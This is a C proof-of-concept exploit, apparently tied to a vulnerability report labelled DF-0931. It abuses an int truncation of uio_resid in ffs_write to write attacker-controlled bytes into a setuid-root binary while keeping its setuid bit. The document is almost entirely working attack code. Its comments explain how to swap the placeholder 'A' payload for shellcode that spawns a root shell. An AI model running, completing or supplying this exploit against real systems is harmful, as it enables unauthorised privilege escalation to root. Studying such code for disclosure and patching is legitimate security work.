DF-0931 / suid_bypass.c
/* * suid_bypass.c - DF-0931 PoC: int resid truncation in ffs_write * defeats the ISUID/ISGID clear-on-write control. * * Strategy: write(fd, mapped_pagesz_buf, 4GiB + pagesz) against a * setuid-root binary. The kernel copies pagesz bytes successfully, * then EFAULTs on the unmapped region. Because (int)uio_resid * truncated the original 4GiB+pagesz to pagesz, the post-write check * `if (resid > uio->uio_resid)` evaluates `pagesz > 4GiB` = false, so * the kernel does NOT clear ISUID even though pagesz attacker-controlled * bytes were written to disk. * * In a real exploit, the memset payload would be replaced with a * minimal self-contained ELF that re-exec's a root shell. * * Build: cc -O2 -o suid_bypass suid_bypass.c * Run: ./suid_bypass /path/to/group-writable-setuid-binary */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <sys/stat.h> #include <stdint.h> int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "usage: %s <writable-setuid-binary>\n", argv[0]); return 1; } size_t pagesz = sysconf(_SC_PAGESIZE); /* Reserve two pages; fill the first with payload, unmap the second * so copyin EFAULTs after copying pagesz bytes. */ char *buf = mmap(NULL, pagesz * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return 1; } /* Placeholder payload: recognizable pattern. In a real exploit * this would be a minimal ELF program header + i386/amd64 shellcode * doing setuid(0); setgid(0); execve("/bin/sh", ...). */ memset(buf, 'A', pagesz); munmap(buf + pagesz, pagesz); int fd = open(argv[1], O_WRONLY); if (fd < 0) { perror("open"); return 1; } if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 1; } /* nbyte = 4 GiB + pagesz. (int)nbyte = pagesz (low 32 bits). * ssize_t nbyte is positive (< SSIZE_MAX) so sys_write's * (ssize_t)nbyte<0 check does not reject it. */ size_t nbyte = 0x100000000ULL + pagesz; ssize_t r = write(fd, buf, nbyte); fprintf(stderr, "write returned %zd errno=%d (%s)\n", r, errno, strerror(errno)); /* expect r=-1 errno=EFAULT */ close(fd); /* Confirm the setuid bit survived the write. */ struct stat st; if (stat(argv[1], &st) == 0) { fprintf(stderr, "target mode=%o ISUID=%s\n", st.st_mode & 07777, (st.st_mode & S_ISUID) ? "PRESERVED (BUG)" : "cleared (safe)"); } /* At this point the first page of the target binary on disk * contains 'A' bytes. In a full exploit the attacker would * execv(argv[1], ...) to run their controlled code with the * target's setuid credentials. */ return 0; } |